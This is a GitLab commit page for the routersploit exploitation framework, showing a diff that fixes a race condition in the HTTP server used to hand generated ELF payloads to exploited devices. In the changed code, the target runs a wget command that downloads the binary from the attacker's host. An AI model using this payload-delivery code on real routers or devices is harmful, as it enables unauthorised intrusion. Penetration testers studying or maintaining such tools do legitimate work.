Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
9944047e
Unverified
Commit
9944047e
authored
May 28, 2018
by
Marcin Bury
Committed by
GitHub
May 28, 2018
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fixing race condition - HTTP Server (#437)
parent
f538af1d
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
15 additions
and
9 deletions
+15
-9
shell.py
routersploit/core/exploit/shell.py
+15
-9
No files found.
routersploit/core/exploit/shell.py
View file @
9944047e
...
...
@@ -131,6 +131,7 @@ def shell(exploit, architecture="", method="", payloads=None, **params):
elf_binary
=
payload
.
generate_elf
(
data
)
communication
=
Communication
(
exploit
,
elf_binary
,
options
,
**
params
)
if
communication
.
wget
()
is
False
:
print_error
(
"Exploit failed to transfer payload"
)
continue
elif
method
==
"echo"
:
...
...
@@ -223,19 +224,16 @@ class Communication(object):
binary
=
"wget"
# run http server
self
.
mutex
=
True
all_interfaces
=
"0.0.0.0"
thread
=
threading
.
Thread
(
target
=
self
.
http_server
,
args
=
(
all_interfaces
,
self
.
options
[
"lport"
]))
thread
.
start
()
while
self
.
mutex
:
pass
if
self
.
port_used
:
try
:
server
=
HttpServer
((
all_interfaces
,
int
(
self
.
options
[
"lport"
])),
HttpRequestHandler
)
except
socket
.
error
:
print_error
(
"Could not set up HTTP Server on {}:{}"
.
format
(
self
.
options
[
"lhost"
],
self
.
options
[
"lport"
]))
return
False
thread
=
threading
.
Thread
(
target
=
server
.
serve_forever
,
args
=
(
self
.
payload
,))
thread
.
start
()
# wget binary
print_status
(
"Using wget to download binary"
)
cmd
=
"{} http://{}:{}/{} -qO {}/{}"
.
format
(
binary
,
...
...
@@ -246,6 +244,14 @@ class Communication(object):
self
.
binary_name
)
self
.
exploit
.
execute
(
cmd
)
thread
.
join
(
10
)
if
thread
.
is_alive
():
assassin
=
threading
.
Thread
(
target
=
server
.
shutdown
)
assassin
.
daemon
=
True
assassin
.
start
()
return
False
return
True
def
echo
(
self
):
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment